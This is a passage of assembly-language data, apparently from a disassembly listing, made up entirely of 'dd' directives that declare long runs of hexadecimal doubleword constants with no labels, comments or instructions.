0F94487C9h, 0A4A93B03h, 0BA7E72B4h, 724C0018h, 0B89DDF36h dd 9C9AAE34h, 0EDD73A01h, 6F5D990Dh, 1BD8E6D4h, 88D11A2Dh dd 622860ECh, 0FA7E2351h, 540E0D11h, 0AD606220h, 34CA9935h dd 93BE22h, 138839D7h, 0C04C740Ch, 96001E70h, 23E6A88Ch dd 183ABFBAh, 60729D33h, 5CBA8461h, 1E465F19h, 28DC57C1h dd 64054806h, 74966300h, 0BB3D0498h, 0FD35988h, 1A18D533h dd 5EA00153h, 255D51D9h, 459DD168h, 24DC30BCh, 0AA00B721h dd 1E5CE00Eh, 28804672h, 0ECCBEC5h, 0C398041Ah, 9042E5C5h dd 3B8A7C38h, 4D2FE905h, 5CDC9DCBh, 30168C46h, 40FC850h dd 0FF4A8613h, 0A0876FC8h, 80654584h, 6CAFC02Ch, 59F2420Dh dd 0FC203895h, 486A484Ch, 0FAA7EF00h, 0D9F1EA9Fh, 88209964h dd 9EC854E5h, 58FB63DAh, 76909413h, 10C0EAC6h, 7E14757Fh dd 0FBCF4506h, 0B53E8EC0h, 3650A49Ch, 8341CFEh, 14802726h dd 48EDCDA8h, 5768005h, 0D0E4190Ch, 987B48FDh, 0F0738Eh dd 0E50BC8BCh, 60D9D238h, 0D1B0209Ah, 25534514h, 0FA54C420h dd 0F4CA3960h, 0D5405006h, 0E996BEh, 421F4C9Fh, 0DF1E4507h dd 896BF8A8h, 5411D300h, 107EEE5Ch, 0BCB935h, 18B30D49h dd 0AF012AFCh, 0D87CEC94h, 81D4E77Ah, 0F65B0778h, 0F0B17780h dd 0A28B5F35h, 0F2A0B661h, 8800A7CDh, 50C01087h, 0AFD0CF1Dh dd 92E27686h, 0CDBF1C78h, 0A5483A1h, 18DB531Ch, 6CEAD2A0h dd 1170A8F0h, 95065A0Eh, 0D83A20C9h, 3E1FFBh, 71333042h dd 0ED4F7396h, 9A18E202h, 80B8F68Eh, 1CD09DCCh, 506100ABh dd 710429F9h, 0DB073A44h, 0A56DFDFEh, 78C62831h, 401D440h dd 0BC0E283Bh, 4E00A094h, 446880E3h, 780BA307h, 0E6976A20h dd 18462E30h, 0A91A2EBCh, 9D851DEEh, 80441EE2h, 3A1F2AE3h dd 78032ED4h, 5067D1DEh, 61C1E222h, 4CD01822h, 0F4E401E1h dd 0BFE9AA21h, 68A3F384h, 0BD112861h, 0E1F0C0E7h, 0C54D58EDh dd 19C21800h, 43F4D4B5h, 367C3978h, 4C28DDB0h, 653C9B50h dd 66CF0013h, 1526BD44h, 4B8D1A5h, 39B8AFh, 35EDB04Eh dd 0C326AF17h, 18B61C29h, 16672A61h, 0B34E1081h, 0C433C0CBh dd 0EE00AA66h, 775FD137h, 0C0FD2803h, 0ED95F818h, 147C717Eh dd 164D061Dh, 0EB9E48B3h, 6E7FD085h, 527E0080h, 0E9DFC9C8h dd 0AF0072A1h, 0E5207688h, 0B2077Ch, 15770B9Bh, 38B0C59h dd 7B873D00h, 942F9D31h, 29E6F2h, 80AF7172h, 9C2E18D0h dd 0DF13BC06h, 7518258Dh, 5B51009Eh, 0B4146ED6h, 40A0BD9Dh dd 0B33EA54Fh, 0EAD860F8h, 78C24B16h, 0C64D74E9h, 0C0E4E578h dd 0AE5AFA0Ah, 36007CB1h, 9EABEAAh, 0C3C8F74h, 10F9094Dh dd 18C97785h, 68332E6Fh, 0B5284CBEh, 3431B083h, 23030CFh dd 0BC81F895h, 2105F803h, 400866A5h, 20A119B1h, 6250C39Ch dd 0DDC334AFh, 0CA5B105h, 8C73EC51h, 0B844B18Bh, 0F281601Eh dd 0A17D47F9h, 0F8505088h, 7F2A5D78h, 0ACAE3A02h, 830C72A4h dd 93CBEF8Bh, 0DDA71B90h, 0A4C4DA0Ch, 0A3BF89C0h, 4948C648h dd 0CBC92803h, 7BE66415h, 171D0F09h, 0A4808EFFh, 0A021B82Dh dd 5D0139F8h, 0A94D6111h, 0D260F4E3h, 134B0FE7h, 4A0BE5E1h dd 60377831h, 0C178E250h, 85F854B0h, 5FC77F1Dh, 0FCE7BE0Fh dd 4A04FC41h, 444C1FABh, 0F9FF2CAEh, 0BFFE0561h, 3504612Ch dd 1A2DC8BEh, 8800CA6h, 4F3EE9D0h, 0E804454Dh, 0CDC73020h dd 0C108A814h, 7C314377h, 292FF83Eh, 24D2A00Fh, 0CC924BE4h dd 8D10999Bh, 0D0FF084Ch, 572B4C91h, 70E76230h, 10518304h dd 0F719818Dh, 14510929h, 203E08A3h, 4B708008h, 361B811Fh dd 29B1F89Ch, 0A0C0F4Bh, 0C88C18D6h, 33C70350h, 18527184h dd 91732A4h, 48312410h, 22339132h, 2E2D442Ch, 48122F89h dd 4A484924h, 44224B91h, 89464544h, 29401247h, 0C0132D05h dd 0C4DB33C3h, 0D63D6218h, 0DF72C2C1h, 8477D4B8h, 4972CA2h dd 8535959h, 4516E023h, 156E03F3h, 8570C1D8h, 0C6E014E3h dd 9A1CC2A3h, 0E80860Bh, 0F8F32E16h, 0C1281D15h, 1E301DF0h dd 0C8783D88h, 0A2082040h, 0A4660085h, 0A60B7FC2h, 1578EBE4h dd 350FB225h, 4A1FF48h, 7464D5FFh, 0E3C088ACh, 0E64E86C8h dd 0F85CBE22h, 3808D025h, 0ED4503AAh, 3D23566h, 0BFFDF211h dd 922F03Ah, 0DB70D7EFh, 46AEEAD0h, 0B0AEBE04h, 0F95040h dd 6008BA2Ah, 0B2140CA6h, 9D21A461h, 384A77FFh, 0F1D523B0h dd 0FB7EF39h, 860C8C31h, 1181620h, 9AF31899h, 0EDFCC278h dd 1C87FAF8h, 8A7CC08Bh, 6614EC6Fh, 8B287422h, 0E0E4D41Eh dd 807170D7h, 992A41C3h, 27300014h, 0D3B32037h, 0DF1F504Ch dd 0FC0326EBh, 0C045C1D1h, 34A51D0h, 4F2478A7h, 5098E2BBh dd 6A52FDB0h, 6CE8F14h, 730BE18h, 0BBE7AA1Ah, 51D42249h dd 2E4CE200h, 63D33C43h, 1522B583h, 0C60FDF6Eh, 6726C221h dd 186DAF4Ch, 363D0D0h, 0BFE6A916h, 80A6E120h, 46B028D8h dd 1A683ADFh, 1FC0D106h, 191878AFh, 0E431CFBBh, 59BCF1C1h dd 0CE8BD14h, 2780E4D0h, 0D3B54D50h, 0CF0675Eh, 0DF4F1EC0h dd 0BC2ECAE4h, 0E09067DCh, 0AF6C6B76h, 0B12A07F0h, 0E602E8B2h dd 71482D95h, 580BF714h, 0C15090DEh, 0B67D006Ah, 779130F1h dd 92006276h, 5799BD0Ch, 7CA6ED6h, 713AB52Fh, 1548C0AFh dd 600187B4h, 7203D96h, 71818AB2h, 0AB127266h, 1179F98Dh dd 1CD053F8h, 0C3AAE4F4h, 0CB256C28h, 0F13144A1h, 162A0173h dd 88141858h, 22643D95h, 2921A668h, 2F31876Eh, 9CCACACEh dd 30592419h, 5544A4FBh, 17690710h, 1890408Ah, 1D76C410h dd 8E063742h, 32590D96h, 0CD81D669h, 47CCA890h, 0A129D0A8h dd 85281660h, 0A289101h, 0F5CD332Eh, 0B4C080B4h, 6ED499FDh dd 6AF9D0A0h, 450CE386h, 0B306F646h, 31FBDFC9h, 0B97C3330h dd 60DBDA73h, 4D2A6827h, 662AE7B9h, 760A414h, 118D54F1h dd 6E7F11B2h, 0F7D00616h, 18319005h, 18A3E150h, 4CA0E810h dd 58A2B540h, 0B3F8402h, 0E7B1C22Fh, 441842F1h, 9DEA0638h dd 30D27DBDh, 0C112CD14h, 4EAA148Ch, 0D9F3144Ch, 47E84458h dd 2FEC91C1h, 28210AF5h, 82C27849h, 242772A4h, 7F242E41h dd 0B808DB74h, 513422B7h, 854E0885h, 1C4B0CEh, 0BD9E601Eh dd 8628A137h, 526415F2h, 1C357E22h, 68442149h, 835B622h dd 66510A99h, 428DEE08h, 2214212Dh, 2646D194h, 0A221DA1h dd 0C63BC921h, 0A1A19A1h, 56119C21h, 18E111A8h, 3F50912Ah dd 0B1846C4Ch, 8C2352ABh, 0C31EE30h, 0A3FDD7FFh, 2C1B3221h dd 4611F69h, 0B206C240h, 4A9240AAh, 685D1B8Ah, 440C5824h dd 0CC7CC32Eh, 900A0FC4h, 45490803h, 71316430h, 21311007h dd 448B2193h, 0CC093F8Ch, 1C2885D0h, 0FE50748Dh, 0BC99CC50h dd 0E751FA1Bh, 3F75EED0h, 2B11C705h, 0A0F42E40h, 35486985h dd 49F03698h, 0C7B3E21Fh, 44A92946h, 71310028h, 6DC8813Fh dd 2578F05Ah, 78DE3900h, 0E6B51584h, 0DD6A1C5Fh, 0B344C0D1h dd 0C26466EDh, 7E673226h, 3A51E401h, 4BE8E2B5h, 55ED0FDFh dd 3580D0A5h, 51C34613h dd 0E95844E8h, 18812CECh, 0C6067C3Ah, 0DEA92135h, 0E3392C40h dd 5C3728C8h, 4042446Ah, 0DE0F4858h, 310F4A4Dh, 0EC83716Fh dd 36C52151h, 690A9830h, 1CEDAF2Eh, 17363060h, 80A580B6h dd 216AE717h, 6068040Ah, 0FCCA1465h, 44552EA2h, 27231DB4h dd 0BFF90557h, 0AA1864A4h, 56D8B4CDh, 0C0260A86h, 0E12CAF1Bh dd 41B51364h, 70EF1AC4h, 0AE1549A0h, 80383926h, 2ADCD7A5h dd 0ECD30749h, 45E14363h, 70147438h, 49397840h, 6BDBFC17h dd 35D2B407h, 2F84AE44h, 0D402F816h, 5924841Ch, 3A5057ACh dd 60C300D9h, 83C2DD70h, 12F8E64Eh, 0E3AE1A00h, 0ED4619BDh dd 13349869h, 5D1350DBh, 0DCAF0000h, 2CC21A11h, 9848C024h dd 0DFBB1580h, 9AE6182h, 444C66D4h, 2D50408Ch, 0F6A4C007h dd 9A8938E2h, 496C8320h, 1F4DE1B6h, 24BFEC20h, 6174BB48h dd 0F3FC537Fh, 14A2905Ah, 7023A1EBh, 1E63020h, 0DD222163h dd 2BE15164h, 58D5A8B2h, 0B087F43Eh, 404FC2E9h, 0BE35F526h dd 1A1ED098h, 18062CB5h, 2640EBE1h, 9C0FDB0h, 8307E422h dd 2DBEE146h, 0E24DD145h, 782E8C40h, 69D4E200h, 0BFE9BC4Ch dd 0D1B00E20h, 0F8E2DC0h, 80BB8484h, 0E4A918A0h, 0AF31BF78h dd 0E9B560D0h, 5882AC21h, 0EDBD4BC1h, 0FE86357h, 0E73A8440h dd 0C8E2189Dh, 2BF1B485h, 2DF1E4B5h, 6EA4E22Ah, 5DAF29A0h dd 0A97FE09Fh, 64E741F8h, 7618E150h, 0FDFC1ED4h, 6026DCA4h dd 0C58057C7h, 24B55235h, 2BD46018h, 0C07CA5B8h, 1C31AA79h dd 0D394E12Bh, 6AEDB2C8h, 0F9E1851Fh, 0C0E73030h, 957CB04Ch dd 2A97807Bh, 0C1FE1CDAh, 0DF506023h, 2CD5C464h, 16B44BE6h dd 18E471EDh, 2C0C3630h, 460798D2h, 8ECE50E8h, 0D81D92EDh dd 450D4F1Eh, 0C43520E3h, 62181C20h, 2E600936h, 0E494C4C2h dd 462CDC98h, 0A87C0E3h, 818B4C4Ah, 0FDBB3C20h, 0C7B51030h dd 83E7AF69h, 0BFA1BE4Ah, 2ED0644Fh, 482C4BF9h, 80C17C3Ch dd 0B043C0E3h, 0C01C3430h, 0E0856658h, 153E69E7h, 0FCB06045h dd 0A6334A09h, 25509018h, 1CED53DFh, 38DCD8F5h, 0C7AE5716h dd 3B6E84C8h, 0C5C3E044h, 183A1A12h, 4CC85D25h, 0ED16446Fh dd 508F216Ah, 3A51C3A0h, 0C0FDAA0Bh, 6AD80250h, 4B64E835h dd 0F9ED73BEh, 0F1334052h, 507014F8h, 85312207h, 66CD406Ch dd 20B8BB13h, 0FCAA1625h, 0BCED8900h, 214F44E0h, 6AE7A917h dd 0DF457827h, 141DD4A2h, 71E40166h, 0DCE94417h, 0E53CBC2Eh dd 0BE460051h, 0D1A91335h, 90195C36h, 0C9BA563Ch, 6041723Eh dd 0D0304450h, 1D52214Dh, 35E21D46h, 63E9054Ah, 0A780D417h dd 0DCA50CC8h, 2ECF68E8h, 14E08A33h, 0B02980D1h, 804B7634h dd 0EE46EC0Bh, 0F0348550h, 1A5F63ECh, 0D1CA9070h, 0F040F36Ah dd 74D264F4h, 0B07000C9h, 221363E2h, 81E34CDFh, 0E43A5021h dd 242F4466h, 0F8C6BE94h, 21515B90h, 38C6C2E0h, 52384380h dd 63AFC10h, 2166D146h, 0A9F8E8CFh, 8228D361h, 0D6D06DC8h dd 801C90E2h, 304CBCDCh, 0B620ECA9h, 1A1DC0E0h, 4B04D3E1h dd 0B8E1E6BBh, 782AE077h, 0F53314C4h, 0DD9E8C50h, 0EC18E518h dd 173E4DEEh, 0D88536B6h, 0AF1A2888h, 2422E8DCh, 335C6433h dd 0A8C41940h, 0EBDF134Ch, 0C814041Eh, 0E3E10080h, 5085951h dd 0E4B0A130h, 4E18F050h, 0E7B41717h, 26DCCC54h, 0BD195078h dd 0C1E95318h, 55F4E301h, 74DC3158h, 61602D16h, 58BDE230h dd 36C1D468h, 20ECB215h, 0F4A6E144h, 0E9C96494h, 2021FDF0h dd 443E3038h, 131F6048h, 0E8351946h, 0F0C0A0C5h, 0D1506A2Fh dd 0ED67FC4h, 8D89F0C8h, 6ED65920h, 29F02FAEh, 0B5AF7100h dd 2F9EC8Bh, 312D6069h, 238619D0h, 0AEBB0A1Fh, 18193318h dd 256504D9h, 0F94D2A63h, 0C2097C6Ch, 0F2B540ABh, 2115004Ch dd 325FC819h, 594FA002h, 20788886h, 9E0071C5h, 0D40D8395h dd 2CC1146Eh, 2756C0D7h, 0E40B1C68h, 0CF351B14h, 105AF120h dd 0A50C4E18h, 0B13150E5h, 0FF4700F5h, 0F620ADD5h, 70669673h dd 0F2212208h, 4CFF013Fh, 7B874695h, 8B844043h, 1E54CBD4h dd 707D3A0h, 81253451h, 291D40FEh, 542A8F2Dh, 26B002h dd 0CFB2BD60h, 1FBC23EEh, 7E8BFA00h, 89B032BFh, 311329F8h dd 0D0F5198h, 0CAF8402Eh, 728E3107h, 430CAF02h, 9B3F3D39h dd 0DD09B41Ch, 950A68D9h, 0A6E08C76h, 0AB7B582h, 0B887FA01h dd 80E61194h, 0ADD4FF48h, 1F448C18h, 0FF403B72h, 0A4330700h dd 888DF4BAh, 2643B80Dh, 245479BFh, 1F11746Fh, 8E64A8AEh dd 7C92CD7Eh, 95CEEB00h, 0DF32E6B6h, 0A51C0250h, 2902143Ah dd 4F807C7Eh, 0FA883617h, 149CE061h, 90C22F46h, 55F7C704h dd 0E8348604h, 0F26C3D56h, 88E0B588h, 25C10FADh, 3EEDF8h dd 8DE1FA5Ch, 5490D1BEh, 3DA5590Dh, 5C52982Bh, 0BF35200Fh dd 61078D1Dh, 63689253h, 42E016A7h, 7F43D3C7h, 2A132BE6h dd 0AD4E706Ch, 0B51F088Ch, 9500DE65h, 0D48AF8EBh, 985B6EF9h dd 4529A583h, 0D9F36813h, 46ECDCF5h, 0FC904909h, 38301DC8h dd 0C16F52DCh, 418D8AD0h, 8060B1AAh, 0AC5E90DBh, 20872322h dd 0C160CC14h, 0CD8778A8h, 0EB006822h, 8942EFD9h, 0B17510C4h dd 2A11343Ah, 8100B025h, 9455EFC2h, 26939643h, 4F2C6909h dd 0E86560A0h, 6600A2FEh, 732AFB4Eh, 0B90147h, 7D9337CEh dd 0BE52F6E4h, 0C703B177h, 0EDB587B6h, 0C8A03F85h, 2D1889BCh dd 0E63D1077h, 10699514h, 0E0C324A0h, 25D2BE00h, 0F9E432h dd 57D8D4E9h, 0F5CFADA2h, 8FD8A33h, 67210013h, 0F1EFD8CCh dd 920088A7h, 0A83417Dh, 72E928h, 1E6CBC5Ah, 0E33C6597h dd 4CE3600h, 0B2AF058h, 0C767EDEh, 16EAEDFEh, 6D00A551h dd 0D05D29BEh, 87724Bh, 830149D7h, 91FFBA7Bh, 5A0E4FF4h dd 588EBCBEh, 0C9E558h, 0B35BF40h, 0B5E028A6h, 6E1B2704h dd 0A0109F0h, 9F9954BEh, 0EB0C7C18h, 0C407804h, 0F9E05929h dd 2100A028h, 0EB5192A1h, 631C9C0h, 2D0E650h, 9A00498Fh dd 16D1DCA4h, 3AA3C41h, 26E0B9F6h, 5006EF37h, 0D6B4F7F8h dd 20BF7C68h, 0A387413h, 18F230A6h, 416F6E85h, 43BCD073h dd 57F9F477h, 568C8180h, 5C6C43ACh, 0C8B0AAE2h, 5B11D8C8h dd 1788CDA2h, 0D8C04B80h, 186774C9h, 193AEBBBh, 0B100AD5Eh dd 0F1FC5FD4h, 75E5B7h, 0D73F684Dh, 3AC29C59h, 0E0928C1h dd 60C86FFFh, 2AB900DFh, 9D14D2DCh, 73306EB8h, 788AB9EBh dd 0E733062Bh, 0B0F402BCh, 96C5903h, 0A4F503C2h, 77519900h dd 650C0BB3h, 972981Eh, 0B921C09Eh, 8A937779h, 941A4100h dd 9BDFCD0Ah, 3EC13049h, 35BC1291h, 0AFB95103h, 30B12596h dd 0F2211509h, 955035ABh, 571D37CBh, 0A6005966h, 9236CA51h dd 0E6389008h, 0C0A7FA6Ch, 7AFA82A8h, 0FCA9985Ah, 0C8E4D8C4h dd 54E6203h, 30B61B3Eh, 5B21E808h, 3601E443h, 0E25E0760h dd 4026F0AFh, 8A376306h, 38776801h, 0FAF92019h, 0EF1840C8h dd 91835E00h, 997EFF8Dh, 3C08C0D5h, 0D763230Eh, 0F85EE600h dd 0CAEE1885h, 31FA0740h, 979F281Bh, 620EB063h, 0FF0C6D36h dd 391319F3h, 7C5400B5h, 0E83BE6B7h, 3032002h, 2EADFD94h dd 0A493E8DFh, 0D47A0F78h, 71865917h, 0EC00180Bh, 0F6764488h dd 0F89B01BFh, 9450E2Dh, 7F4C9CC4h, 9EF42230h, 2F3C40h dd 95F5214Fh, 16BEE5F4h, 0B323F006h, 880A70h, 3FCB2E18h dd 5EDF90E1h, 9891433h, 0CE210325h, 9A5C3FD3h, 1149A010h dd 0E8591F14h, 102AE619h dd 60DBFF91h, 3C288017h, 0BF1D1903h, 7B34C916h, 97238440h dd 68DE00E7h, 0BB064655h, 6C0A164Eh, 8C2F1A65h, 87FB3680h dd 3045AFh, 5712B7D8h, 5882D7Ch, 0DA2E1C0Ch, 0E1703Eh dd 0CDE5680Eh, 189919D5h, 7F3BDB18h, 0E34369h, 0FCF9C64Ah dd 0D4E21F35h, 214908CCh, 4AEB00A0h, 0BC22CCF5h, 99004D0Ch dd 3AC58010h, 0AEF619CAh, 28E4698h, 90FE3FC0h, 102731B7h dd 0F43FC8D5h, 680500D4h, 9C530E02h, 0A8024B99h, 64A53B61h dd 0A894887Bh, 0C39ED08h, 0FB411A70h, 727EF00h, 0BA938E3Dh dd 180FA10h, 0CB5BC795h, 0F0797F38h, 0C5565F92h, 14D707B4h dd 0FC7A8226h, 21199089h, 39F59640h, 0F01800FBh, 9273686Bh dd 47009C4Eh, 0E1B9E317h, 0C5DEE51h, 0F08C4663h, 807B91F8h dd 81883652h, 0C9796831h, 6964BC40h, 0D23D004Eh, 3CA33AF5h dd 983A9054h, 7438E155h, 60260347h, 9092D703h, 203D1AE9h dd 5344819Bh, 0C809F2FFh, 42414EDh, 5EED0438h, 98FD9185h dd 0B88B22BCh, 2C65EE4h, 938408Ch, 7C4E3F2Ah, 801E902Ah dd 69F7B901h, 0C29D989Ch, 0ADF8B883h, 0D00FFDD0h, 551530Fh dd 0A40110E8h, 18B19891h, 0BDFAA083h, 18040748h, 28019093h dd 69BC3D0Ah, 0EA62D481h, 3384071h, 0E3015B89h, 0A348E94h dd 8BABE9Ch, 0B0DD21E0h, 0E67FB25Bh, 4E90D24h, 216E508h dd 72B49D19h, 9ABC1040h, 8AB1BB01h, 0C909F36Fh, 8EC9058h dd 8591845Eh, 3FE7D670h, 6B829D5Eh, 249830B1h, 81C3602h dd 92CA11B8h, 8C22743Ch, 0E2A1BC1Eh, 51824C1Eh, 0B06F2C12h dd 20AD62ACh, 3150FC80h, 80822998h, 65683014h, 95ACA83Dh dd 541440A8h, 1B409879h, 3CE65CBCh, 83D47C24h, 0EEB85DFAh dd 0BBE05000h, 9A31036Ch, 4EF60B8Fh, 0DE003B52h, 7BBC089Ch dd 0E0320093h, 5EE030CDh, 0E5918813h, 50DAE438h, 14B98DBh dd 3736A0EBh, 4540CFD6h, 91CC40F3h, 7756A2D7h, 44BCF200h dd 0FA7DB1CEh, 0B5601992h, 7189C032h, 0AE3180C8h, 2AD0D793h dd 0F5FD1490h, 0CC234CC3h, 895EE101h, 3D18DD91h, 6D8D988h dd 9DF8555Eh, 540CE2F3h, 0F8C57F95h, 4F783D20h, 0A1473289h dd 2F552402h, 4C5A9302h, 0E9DB01BCh, 43F72E69h, 0F1AD40AAh dd 0AE249427h, 5313904Dh, 9874A860h, 0E17CA317h, 4322C81h dd 0AD889381h, 0E726F225h, 26512080h, 0AF4E148h, 0F8D5C839h dd 110620B8h, 562D9831h, 3BD50AA4h, 0FB80FC77h, 0F50CC7BCh dd 91762Ah, 0C397C1E4h, 0EC5CBD59h, 0E56081C5h, 0FF82BC40h dd 2499B4F1h, 11C89F8Ah, 5B8B80E8h, 8CBE94E1h, 0E30544h dd 0B6F45BB2h, 0ED19431Ch, 4D24A373h, 2B93C454h, 7D608C70h dd 8E058520h, 8C80D354h, 42A5C61Ch, 423C102Ch, 0C1C5F40Ah dd 16569F90h, 1D985E34h, 0B813D573h, 6996EE03h, 5282AC92h dd 0F4030464h, 722A2D7Dh, 4B290019h, 0B3A23BADh, 6A006113h dd 76FA0C92h, 56BB8B01h, 1B2EE8E9h, 0A272403Ch, 0F22CDCA3h dd 340088CEh, 25199CE0h, 51E91205h, 0B3E861E1h, 4718FC93h dd 63C488C0h, 34A8869h, 0A5D602F9h, 59012D19h, 65A3A1F3h dd 0D870C075h, 0FD400B11h, 0C8C920Bh, 0F5B896C9h, 2CDE7C88h dd 7AF15902h, 0E04986B8h, 8016DA28h, 0A020441Fh, 24121455h dd 8934C01h, 0FFC3E7F8h, 9CF9F14Ah, 0E7BC000Eh, 0F176E44Ah dd 9C9E1637h, 66CC0C7Ch, 4E40DCA0h, 5DE20028h, 16BC262Bh dd 0FF1A120Eh, 0C0E009AEh, 824440C8h, 314E880h, 0E83C7CD9h dd 0B7693D3Ah, 0E42F98CAh, 9C879855h, 80C81532h, 0AE508E58h dd 90A4181Fh, 70344843h, 0C5FCA1C0h, 1A052Ah, 8D32F497h dd 0B957DC30h, 15348A0Eh, 0CB4160F2h, 90E2A519h, 3D0D20B4h dd 0EA40F605h, 0F480F2C0h, 254CAC34h, 42F5478h, 9F893D68h dd 3B782307h, 0F1791F72h, 4E73400Bh, 0DF8CEA4Bh, 120A5400h dd 13D6BA1Ah, 344512FAh, 0EF7000F7h, 2B99CD22h, 9C106C92h dd 963E752Ch, 0A7BC50D9h, 4AAE2D00h, 9E305511h, 296E2025h dd 14851801h, 16345DE0h, 0C0E1030h, 0DAE849AFh, 58264170h dd 9884501Ah, 0BD421B6Dh, 0E0807BDEh, 0E0874E0Fh, 5D608A0Ch dd 5632013h, 8FD32684h, 0CF203840h, 0F3257846h, 0EE800035h dd 2FF2DD78h, 3AC4B994h, 27DA2D88h, 0C0A53302h, 32A09046h dd 984A4Dh, 0E330650Ch, 909B1499h, 22FCD714h, 48F00059h dd 88A43A2Ah, 4F794E54h, 9754BF4Dh, 26235C2Fh, 4B0CED00h dd 4C1E0998h, 8383C89Dh, 0CCA5882Fh, 0E85909A8h, 7798826Ch dd 70106072h, 7629CF11h, 0CCA536A0h, 0E33890EEh, 7833809Ah dd 0A4922411h, 0C049AB4h, 99973D3h, 980B9D61h, 27D71FBDh dd 608A41Ch, 91CF2357h, 40171A3Ah, 67A58h, 0CBA6C142h dd 0F204BDF9h, 689D80A0h, 5DF824A0h, 18C3F3E0h, 0A6FB12E4h dd 0A4911241h, 32982068h, 4E0C569Ah, 0E081C095h, 0F40E48D5h dd 0AB534201h, 0D08AC2D3h, 1F19167Eh, 52915F98h, 0D44AE744h dd 653E9F57h, 0A0246278h, 77442081h, 15F71200h, 88F681C1h dd 0E8F9C84Dh, 45D68020h, 0E1609126h, 0D9262048h, 4AA1CF78h dd 18ECF9C4h, 0E9A28848h, 0AB9D4A00h, 96B854B9h, 0F47F0668h dd 6038FA25h, 444C9B17h, 0F402EC13h, 0A9D29574h, 0E41065C0h dd 84ED6120h, 9C26B1FFh, 1253F8F8h, 0C56D8892h, 9E41F04h dd 0AC91BEF5h, 0E7805224h, 2CFD14E1h, 10892C08h, 305E3808h dd 0F950E61h, 469DF700h, 0A309429Ch, 1554336Ch, 13A40348h dd 53BC5404h, 29FD5A00h, 2494DF3Fh, 9C2F6384h, 250888B2h dd 98023162h, 9967F24Ch, 5120884h, 60845C5Bh, 96402D11h dd 281F3FE2h, 0BF023F9h, 141E99C5h, 5E109460h, 0EF020B46h dd 578C8FFDh, 0FC0FA071h, 0F26CA198h, 0C02663AAh, 968B070h dd 1FF168F7h, 0B953C20h, 0CC20ACAEh, 20409074h, 0EB18384Ah dd 0E2710F71h, 3D7A074Fh, 60D2DA42h, 41AFADD6h, 0FF924307h dd 0AA40A00Fh, 0C0713403h, 7F87E989h, 19003B5Eh, 0E35CEC4Bh dd 6693486h, 99540B6Ah, 0D88090E2h, 0F50952ACh, 11D895h dd 0E1B9DE90h, 6A553172h, 30256818h, 4CB1D8B8h, 7EEFD280h dd 3D248682h, 0BB00D95Fh, 42374E79h, 770496C3h, 0BF1070A5h dd 13B2C502h, 6262C141h, 784410D0h, 5E4CF22Ch, 0A4012646h dd 0F596A19Ch, 24703C35h, 0DD0868E8h, 0A6640932h, 2D896068h dd 0DEE0317Dh, 1D54FF14h, 1E923F8h, 94E05B8Ah, 880418B6h dd 5B17B1DCh, 0AD013FE7h, 6FF868CEh, 989B3C60h, 363C9826h dd 0D0580AF2h, 0A3F0BB54h, 2C45A0A0h, 0D060DE81h, 9410E701h dd 6C90685Fh, 0F10464AEh, 5649849Ah, 0AD0498B3h, 0C9A8B894h dd 97E83184h, 74465520h, 5280591Fh, 84026CE7h, 0E694EE5Bh dd 0DA100631h, 16075B8Bh, 0BF572A88h, 0E907C1A0h, 800A009Ch dd 0F6783B7Fh, 81733392h, 32E0710Ch, 2574F0C0h, 40A1E89Bh dd 105D90h, 92554664h, 46549018h, 3FC2028Ch, 0D1A790F8h dd 0CAD76164h, 9439EC3Fh, 28A9CD10h, 53472F00h, 0FC8A663h dd 602BE8A0h, 7038ED31h, 0C054711Ah, 26F228B2h, 562B1D30h dd 2F16A43Ch, 640CD38Eh, 0BF8258E8h, 8E1840A4h, 0F470ED30h dd 132127F5h, 241D1C29h, 8F800511h, 0C15D2D13h, 7237C814h dd 0DDD49888h, 8C340027h, 0DED489FAh, 2100AF6Bh, 0EF31C46h dd 12D667D5h, 49619E1Eh, 0C096BCCh, 5F012787h, 0F1251A06h dd 4A81CD00h, 0F4489069h, 329EE99h, 762B95ACh, 0C803A89h dd 41C2039Ch, 8123A5CDh dd 6734A36Ch, 583A98FCh, 1A2C9C03h, 8B240D0h, 0D60760E7h dd 0BD5B62D9h, 9812C545h, 94C128D7h, 0BC34ADF5h, 2028B0E2h dd 0E04C3E6Dh, 0FE12098Ch, 0F6ECA0D9h, 74940h, 0D0DF94AEh dd 349517D6h, 2859182Ch, 81791B1Ah, 94732B0Ch, 11094462h dd 60E24560h, 3009C861h, 8A2335Dh, 2144B8C7h, 0E1A19260h dd 0BAC12804h, 9F407B34h, 7ED5FC32h, 0DC525726h, 9835A93Fh dd 1DCE1602h, 0B908800Ah, 9074CF29h, 10E60910h, 98215568h dd 80127184h, 248DB271h, 6A6B7D4h, 0DB915B3Fh, 9C0240ECh dd 0FE97993Bh, 0F404639Fh, 84691CD0h, 0B0F4A1E8h, 9C66C48h dd 0C790FC3Fh, 0CB808045h, 58B63FCEh, 70A25C09h, 0DA963407h dd 0D169550Eh, 50281A08h, 0BCF1FDB4h, 0A201D370h, 5D85861h dd 2BFCAEABh, 939C00DEh, 186A9E52h, 8454981Eh, 0A50BF890h dd 0A2BF0460h, 0E0532F4h, 5DD841C2h, 7CFA8C60h, 20319381h dd 7414C428h, 98BE8ACh, 0B4CFE805h, 881B9064h, 0ECA1269Dh dd 4F60CE40h, 0C3139903h, 8C4415E7h, 54B179CDh, 4A358F0h dd 121F0266h, 7088E4F9h, 0D98004B4h, 0A04C9F4h, 0A4835CCAh dd 223E9812h, 5D201074h, 132DF584h, 91B1C3A3h, 0CEFD20h dd 9A4D95F6h, 68310C7Ch, 0B3A83565h, 0DC4C930Bh, 7E34A150h dd 79802571h, 48460805h, 0A300202Ch, 3C4273C9h, 24EE29CCh dd 94102E9h, 0BC03B4E5h, 50401445h, 340E4ACh, 793B2AEEh dd 0B71F1DB8h, 0B062C017h, 923CF094h, 9C60E8h, 9173C405h dd 0C84F7800h, 31B9947h, 0A493B2BCh, 0A13156C4h, 5598B062h dd 78B17h, 0F19914Ah, 318C4968h, 0C1184280h, 726EDCA0h dd 60820552h, 0B0387CB8h, 58F709C5h, 78A00D71h, 0B01C9ED7h dd 9B00B9FAh, 693ECD3Ah, 0C2E3A7h, 2AE9C498h, 40C8A512h dd 5DFFB9C3h, 0EF1015Ch, 4C9B79A8h, 3D428F8h, 0DE21EF23h dd 416808CEh, 94057B4Dh, 0A89005FDh, 4CD2ACADh, 220024DAh dd 9EE1FC0Fh, 0DC9A3625h, 0AFA1805h, 203CEBB3h, 12DD46E1h dd 50CCE312h, 0CE734028h, 6091AEE8h, 68991F09h, 3EB8430h dd 0B34F5288h, 93B3CC49h, 7A2594A0h, 57682D67h, 74B00C74h dd 0DB98AA1Ch, 0F66E705Ch, 870F702h, 50340580h, 76401388h dd 44A4093Fh, 7368280Dh, 62205850h, 